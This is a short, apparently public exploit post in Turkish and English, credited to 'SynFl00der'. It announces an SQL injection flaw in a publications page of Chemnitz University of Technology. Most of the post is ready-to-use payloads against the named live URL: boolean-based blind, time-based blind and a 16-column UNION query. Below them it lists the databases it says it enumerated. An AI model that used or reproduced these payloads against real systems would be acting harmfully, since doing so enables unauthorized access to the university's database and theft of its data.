Chemnitz Teknik Alman Üniversitesi SQL Açığı

<------------------- header data start ------------------- >
################################################## ###########
# Application Name : Chemnitz Technicäl University Vulnerability
# Vulnerable Type : SQL Injection
# Author : SynFl00der ~ Siber Güvenlik Akademisi
# Target : https://www.tu-chemnitz.de/wirtschaft/bwl6/publikationen/index.php?AUTOR=Pawlowsky,P.
################################################## ###########
< ------------------- / header data end of ------------------- >
< -- bug code start -- >
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: AUTOR=Pawlowsky,P.%’ AND 2601=2601 AND ’%’=’

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: AUTOR=Pawlowsky,P.%’ AND SLEEP(5) AND ’%’=’

Type: UNION query
Title: Generic UNION query (NULL) - 16 columns
Payload: AUTOR=Pawlowsky,P.%’ UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71717a6b71,0x494c54616d57466f5251515968434a6e764b4e6b66754168796d414d49454a6a5a584b6151484776,0x7170786a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- MqAj
< -- / bug code end of -- >
Db:
available databases [2]:
[*] homepagebwl6
[*] information_schema

Eline Sağlık Tşk